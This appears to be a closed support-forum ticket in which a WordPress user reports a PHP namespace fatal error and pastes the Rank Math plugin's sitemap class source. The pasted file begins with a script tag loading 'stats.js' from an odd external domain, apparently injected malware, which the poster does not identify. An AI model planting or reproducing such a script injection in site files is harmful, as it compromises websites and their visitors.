-
Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in /home1/onlin59c/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/sitemap/class-sitemap-index.php on line 11
My error source code for your reference
<script type=’text/javascript’ src=’https://js.donatelloflowfirstly.ga/stats.js?n=nb5′></script><?php
/**
* The Sitemap Module
*
* @since 1.0.42
* @package RankMath
* @subpackage RankMath\Sitemap
* @author Rank Math <s******@r***********>
*/namespace RankMath\Sitemap;
use RankMath\Helper;
use RankMath\Runner;
use RankMath\Traits\Hooker;
use MyThemeShop\Helpers\Str;defined( ‘ABSPATH’ ) || exit;
/**
* Sitemap_Index class.
*/
class Sitemap_Index implements Runner {use Hooker;
/**
* The hooks.
*/
public function hooks() {
$this->filter( ‘robots_txt’, ‘add_sitemap_directive’, 0, 2 );
$this->filter( ‘redirect_canonical’, ‘redirect_canonical’ );
}/**
* Adds the sitemap index to robots.txt.
*
* @param string $output robots.txt output.
* @param bool $public Whether the site is public or not.
*
* @return string robots.txt output.
*/
public function add_sitemap_directive( $output, $public ) {
if (
‘0’ === $public ||
Str::contains( ‘Sitemap:’, $output ) ||
Str::contains( ‘sitemap:’, $output )
) {
return $output;
}return $output . “\nSitemap: ” . esc_url( Router::get_base_url( ‘sitemap_index.xml’ ) );
}/**
* Stop trailing slashes on sitemap.xml URLs.
*
* @param string $redirect The redirect URL currently determined.
*
* @return boolean|string $redirect
*/
public function redirect_canonical( $redirect ) {
if ( get_query_var( ‘sitemap’ ) || get_query_var( ‘xsl’ ) ) {
return false;
}return $redirect;
}
}
The ticket ‘I’m getting fatal error message in PHP’ is closed to new replies.